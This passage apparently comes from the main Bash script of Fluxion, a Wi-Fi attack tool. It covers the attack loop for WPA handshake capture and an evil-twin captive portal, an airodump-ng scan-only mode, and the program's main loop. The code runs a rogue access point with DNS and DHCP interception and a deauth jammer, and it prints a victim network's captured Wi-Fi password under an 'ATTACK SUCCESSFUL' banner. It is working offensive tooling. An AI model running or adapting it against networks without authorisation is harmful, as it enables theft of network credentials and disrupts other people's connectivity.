        "$FLUXIONWorkspacePath/handshake_success.flag" \
        2>/dev/null

  start_attack
  fluxion_target_tracker_start
  fluxion_status "ATTACK_STARTED attack=$FluxionAttack"

  if [ "$FLUXIONAuto" ]; then
    # Auto mode: poll for attack self-termination (e.g., handshake captured,
    # password found) by checking for status.txt or success flags.
    echo "Auto mode: waiting for attack to complete..." > $FLUXIONOutputDevice
    # Snapshot the arbiter PID now — the SIGABRT trap calls stop_attack which
    # clears HandshakeSnooperArbiterPID, so we need our own copy to track it.
    local autoArbiterPID="$HandshakeSnooperArbiterPID"
    local autoTimeout=0
    local autoMaxWait=0  # 0 = infinite (no timeout)
    if [ "$FLUXIONTimeout" ]; then
      autoMaxWait=$((FLUXIONTimeout * 60))
    fi
    while [ $autoMaxWait -eq 0 ] || [ $autoTimeout -lt $autoMaxWait ]; do
      # Check if attack finished (captive portal writes status.txt on success)
      if [ -f "$FLUXIONWorkspacePath/status.txt" ]; then
        echo "Auto mode: attack completed (status file found)." > $FLUXIONOutputDevice
        break
      fi
      # Check if handshake was captured
      if [ -f "$FLUXIONWorkspacePath/authenticator_success.flag" ]; then
        echo "Auto mode: attack completed (success flag found)." > $FLUXIONOutputDevice
        break
      fi
      # Check if arbiter daemon completed (handshake snooper).
      # Use the snapshotted PID — HandshakeSnooperArbiterPID may be cleared by
      # the SIGABRT trap before we get to check it.
      if [ "$autoArbiterPID" ] && ! kill -0 "$autoArbiterPID" 2>/dev/null; then
        echo "Auto mode: arbiter daemon exited." > $FLUXIONOutputDevice
        break
      fi
      sleep 5
      autoTimeout=$((autoTimeout + 5))
    done

    if [ $autoMaxWait -gt 0 ] && [ $autoTimeout -ge $autoMaxWait ]; then
      echo "Auto mode: timeout reached (${FLUXIONTimeout}m), stopping attack." > $FLUXIONOutputDevice
      fluxion_status "TIMEOUT minutes=$FLUXIONTimeout"
    fi
  else
    local choices=( \
      "$FLUXIONSelectAnotherAttackOption" \
      "$FLUXIONGeneralExitOption" \
    )

    # Display the attack-in-progress menu once (same layout as io_query_choice).
    fluxion_header
    echo -e "$FLUXIONVLine $(io_dynamic_output $FLUXIONAttackInProgressNotice)"
    echo
    local _ci=1
    for _c in "${choices[@]}"; do
      echo -e "\t${CRed}[${CSYel}${_ci}${CClr}${CRed}]${CClr} ${_c}${CClr}"
      _ci=$((_ci + 1))
    done
    echo
    echo -ne "$IOUtilsPrompt"

    # Poll for attack self-completion every second using read -t 1.
    # This keeps us in normal code flow (no signal tricks) so that the
    # success display in fluxion_handle_exit works as a plain function call.
    local _attackSucceeded=0
    local _handshakeNotified=0
    local _captiveNotified=0
    while true; do
      # Handshake Snooper: arbiter daemon writes this flag on success.
      # Redraw once with a success notice; then keep waiting for the user
      # to choose the next step (another attack or exit).
      if [ $_handshakeNotified -eq 0 ] && \
         [ -f "$FLUXIONWorkspacePath/handshake_success.flag" ]; then
        _handshakeNotified=1
        rm -f "$FLUXIONWorkspacePath/handshake_success.flag"
        fluxion_header
        echo -e "$FLUXIONVLine $HandshakeSnooperArbiterSuccededNotice"
        echo
        _ci=1
        for _c in "${choices[@]}"; do
          echo -e "\t${CRed}[${CSYel}${_ci}${CClr}${CRed}]${CClr} ${_c}${CClr}"
          _ci=$((_ci + 1))
        done
        echo
        echo -ne "$IOUtilsPrompt"
      fi
      # Captive Portal: authenticator writes status.txt when credentials are
      # verified. Stop all attack services immediately (rogue AP, DNS, DHCP,
      # web server, deauth jammer), then redraw showing the credentials and
      # wait for the user to choose the next step.
      if [ $_captiveNotified -eq 0 ] && \
         [ -f "$FLUXIONWorkspacePath/status.txt" ]; then
        _captiveNotified=1
        fluxion_target_tracker_stop
        stop_attack
        local _captivePwd
        _captivePwd=$(cat "$FLUXIONWorkspacePath/candidate.txt" 2>/dev/null)
        fluxion_header
        echo -e "  ${CSGrn}+-----------------------------------------------+${CClr}"
        echo -e "  ${CSGrn}|           ATTACK SUCCESSFUL                   |${CClr}"
        echo -e "  ${CSGrn}+-----------------------------------------------+${CClr}"
        echo -e "  ${CGrn}  Network  :${CClr} ${CSWht}$FluxionTargetSSID${CClr}"
        echo -e "  ${CGrn}  BSSID    :${CClr} ${CSWht}$FluxionTargetMAC${CClr}"
        echo -e "  ${CYel}  Password :${CClr} ${CSYel}$_captivePwd${CClr}"
        echo -e "  ${CSGrn}+-----------------------------------------------+${CClr}"
        echo
        _ci=1
        for _c in "${choices[@]}"; do
          echo -e "\t${CRed}[${CSYel}${_ci}${CClr}${CRed}]${CClr} ${_c}${CClr}"
          _ci=$((_ci + 1))
        done
        echo
        echo -ne "$IOUtilsPrompt"
      fi
      local _inp=""
      if read -t 1 -r _inp 2>/dev/null && [ -n "$_inp" ]; then
        if [ "$_inp" = "1" ]; then
          IOQueryChoice="${choices[0]}"; break
        elif [ "$_inp" = "2" ]; then
          IOQueryChoice="${choices[1]}"; break
        fi
      fi
    done

    echo
  fi

  # IOQueryChoice is a global, meaning, its value is volatile.
  # We need to make sure to save the choice before it changes.
  local choice="$IOQueryChoice"

  fluxion_target_tracker_stop


  # Restore systemd-resolved DNS after the attack intercepted DNS traffic.
  # Run in background with a timeout so it never blocks the exit path.
  if command -v systemctl &>/dev/null; then
    timeout 5 systemctl try-restart systemd-resolved.service &>/dev/null &
  fi

  stop_attack

  if [ "$FLUXIONAuto" ] || [ "$choice" = "$FLUXIONGeneralExitOption" ]; then
    fluxion_handle_exit
  fi

  fluxion_unprep_attack
  fluxion_unset_attack
}

# ============================================================ #
# ================= < Argument Executables > ================= #
# ============================================================ #
eval set -- "$FLUXIONCLIArguments" # Set environment parameters.
while [ "$1" != "" -a "$1" != "--" ]; do
  case "$1" in
    -t|--target) echo "Not yet implemented!"; sleep 3; fluxion_shutdown;;
  esac
  shift # Shift new parameters
done

# ============================================================ #
# ============== < List Interfaces Mode > =================== #
# ============================================================ #
if [ "$FLUXIONListInterfaces" ]; then
  interface_list_wireless
  if [ ${#InterfaceListWireless[@]} -eq 0 ]; then
    echo "No wireless interfaces detected."
    exit 1
  fi
  printf "%-16s %-8s %-16s %-8s %-12s %s\n" "INTERFACE" "STATE" "BANDS" "BUS" "DRIVER" "CHIPSET"
  for iface in "${InterfaceListWireless[@]}"; do
    interface_chipset "$iface" 2>/dev/null
    interface_driver "$iface" 2>/dev/null
    interface_state "$iface" 2>/dev/null
    interface_bands "$iface" 2>/dev/null
    printf "%-16s %-8s %-16s %-8s %-12s %s\n" \
      "$iface" \
      "${InterfaceState:-unknown}" \
      "${InterfaceBands:-unknown}" \
      "${InterfaceHardwareBus:-unknown}" \
      "${InterfaceDriver:-unknown}" \
      "${InterfaceChipset:-unknown}"
  done
  exit 0
fi

# ============================================================ #
# ================= < Scan-Only Mode > ====================== #
# ============================================================ #
fluxion_scan_only() {
  # Minimal startup: skip banner/update, just check deps.
  if [ ! "$FLUXIONDebug" ]; then
    iptables-save >"$FLUXIONIPTablesBackup" 2>/dev/null
  fi

  fluxion_set_resolution

  # Set language for scanner strings.
  FluxionLanguage="${FluxionLanguage:-en}"
  source "$FLUXIONPath/language/$FluxionLanguage.sh"

  # Get wireless interface: use --interface if specified, otherwise first available.
  interface_list_wireless
  if [ ${#InterfaceListWireless[@]} -eq 0 ]; then
    echo "ERROR: No wireless interfaces found." >&2
    exit 1
  fi

  local scanInterface=""
  if [ "$FLUXIONInterface" ]; then
    # Validate the requested interface exists and is wireless.
    if interface_is_wireless "$FLUXIONInterface"; then
      scanInterface="$FLUXIONInterface"
    else
      echo "ERROR: Interface '$FLUXIONInterface' is not a wireless interface." >&2
      exit 1
    fi
  else
    scanInterface="${InterfaceListWireless[0]}"
  fi
  echo "Using interface: $scanInterface" >&2

  # Allocate (put into monitor mode).
  if ! fluxion_allocate_interface "$scanInterface"; then
    echo "ERROR: Failed to allocate interface $scanInterface" >&2
    exit 1
  fi

  # Resolve the monitor-mode interface name.
  local monInterface="$scanInterface"
  if [ "${FluxionInterfaces[$scanInterface]}" ]; then
    monInterface="${FluxionInterfaces[$scanInterface]}"
    # If original was renamed, the new name is the monitor interface
    if interface_is_real "$monInterface"; then
      : # good
    else
      monInterface="$scanInterface"
    fi
  fi

  # Determine channel/band params.
  local channelParam=""
  local bandParam=""
  if [ "$FluxionTargetChannel" ]; then
    channelParam="--channel $FluxionTargetChannel"
  fi
  if [ "$FLUXIONBand" ]; then
    bandParam="--band $FLUXIONBand"
  elif [ "$FluxionTargetChannel" ]; then
    local firstCh=$(echo "$FluxionTargetChannel" | grep -oE '[0-9]+' | head -1)
    if [ -n "$firstCh" ] && [ "$firstCh" -le 14 ]; then
      bandParam="--band bg"
    else
      bandParam="--band a"
    fi
  else
    bandParam="--band bg"
  fi

  # Clean old scan files.
  sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"

  # Run scan in background, wait for scan-time, then kill.
  local scanCmd="airodump-ng -Mat WPA $channelParam $bandParam -w \"$FLUXIONWorkspacePath/dump\" $monInterface"
  local scanPID
  fluxion_window_open scanPID "Scanner" "" "#000000" "#FFFFFF" "$scanCmd"

  echo "Scanning for ${FLUXIONScanTime}s..." >&2
  sleep "$FLUXIONScanTime"
  fluxion_window_close scanPID
  sleep 1

  # Parse results.
  if [ ! -f "$FLUXIONWorkspacePath/dump-01.csv" ] || \
     [ ! -s "$FLUXIONWorkspacePath/dump-01.csv" ]; then
    echo "ERROR: No scan results captured." >&2
    fluxion_deallocate_interface "$scanInterface" 2>/dev/null
    exit 1
  fi

  local -r matchMAC="([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]"
  local candidates
  readarray -t candidates < <(
    awk -F, "NF>=15 && length(\$1)==17 && \$1~/$matchMAC/ {print \$0}" \
    "$FLUXIONWorkspacePath/dump-01.csv"
  )
  local clients
  readarray -t clients < <(
    awk -F, "NF==7 && length(\$1)==17 && \$1~/$matchMAC/ {print \$0}" \
    "$FLUXIONWorkspacePath/dump-01.csv"
  )

  if [ ${#candidates[@]} -eq 0 ]; then
    echo "No WPA networks found." >&2
    fluxion_deallocate_interface "$scanInterface" 2>/dev/null
    exit 0
  fi

  # Build vendor lookup from kismet netxml if available.
  local -A vendorLookup
  if [ -f "$FLUXIONWorkspacePath/dump-01.kismet.netxml" ]; then
    local currentMAC=""
    while IFS= read -r line; do
      if [[ "$line" =~ \<BSSID\>([A-F0-9:]+)\</BSSID\> ]]; then
        currentMAC="${BASH_REMATCH[1]}"
      elif [[ "$line" =~ \<manuf\>(.+)\</manuf\> ]] && [ -n "$currentMAC" ]; then
        local manufName="${BASH_REMATCH[1]}"
        manufName=$(echo "$manufName" | sed 's/&amp;/\&/g; s/&lt;/</g; s/&gt;/>/g; s/&quot;/"/g')
        if [ "$manufName" != "Unknown" ]; then
          vendorLookup["$currentMAC"]="$manufName"
        fi
        currentMAC=""
      fi
    done < "$FLUXIONWorkspacePath/dump-01.kismet.netxml"
  fi

  # Print header.
  printf "%-4s %-17s %-4s %-5s %-4s %-10s %-30s %s\n" \
    "CH" "BSSID" "PWR" "CLNT" "QLTY" "ENC" "VENDOR" "ESSID"
  printf "%-4s %-17s %-4s %-5s %-4s %-10s %-30s %s\n" \
    "---" "-----------------" "---" "-----" "----" "----------" "------------------------------" "----"

  # Print each network.
  local info
  for info in "${candidates[@]}"; do
    info=$(echo "$info" | sed -r "s/,\s*/,/g")

    local mac=$(echo "$info" | cut -d , -f 1)
    local channel=$(echo "$info" | cut -d , -f 4 | tr -d ' ')
    local security=$(echo "$info" | cut -d , -f 6)
    local power=$(echo "$info" | cut -d , -f 9)
    local essid=$(echo "$info" | cut -d , -f 14 | sed 's/^ //;s/ *$//')

    local clientCount=$(printf '%s\n' "${clients[@]}" | grep -c "$mac" 2>/dev/null; true)

    local vendor="${vendorLookup[$mac]}"
    if [ -z "$vendor" ]; then
      vendor=$(macchanger -l 2>/dev/null | grep -i "${mac:0:8}" | cut -d ' ' -f 5- | head -1)
    fi

    # Calculate quality.
    local quality
    if [ "$power" -eq -1 ] 2>/dev/null; then
      quality="??"
    elif [ "$power" -le -90 ] 2>/dev/null; then
      quality="0%"
    elif [ "$power" -gt -60 ] 2>/dev/null; then
      quality="100%"
    else
      quality="$(( (power * 10 - (-90) * 10) / ((-60 - (-90)) / 10) ))%"
    fi

    printf "%-4s %-17s %-4s %-5s %-4s %-10s %-30.30s %s\n" \
      "$channel" "$mac" "$power" "$clientCount" "$quality" "$security" "${vendor:--}" "$essid"
  done

  echo >&2
  echo "${#candidates[@]} network(s) found." >&2

  # Cleanup.
  sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
  fluxion_deallocate_interface "$scanInterface" 2>/dev/null

  exit 0
}

# ============================================================ #
# ===================== < FLUXION Loop > ===================== #
# ============================================================ #
fluxion_main() {
  # If scan-only mode, run the scan and exit.
  if [ "$FLUXIONScanOnly" ]; then
    fluxion_scan_only
  fi

  fluxion_startup

  fluxion_set_resolution

  # Removed read-only due to local constant shadowing bug.
  # I've reported the bug, we can add it when fixed.
  local sequence=(
    "set_language"
    "set_attack"
    "prep_attack"
    "run_attack"
  )

  while true; do # Fluxion's runtime-loop.
    fluxion_do_sequence fluxion sequence[@]
  done

  fluxion_shutdown
}

fluxion_main # Start Fluxion

# FLUXSCRIPT END
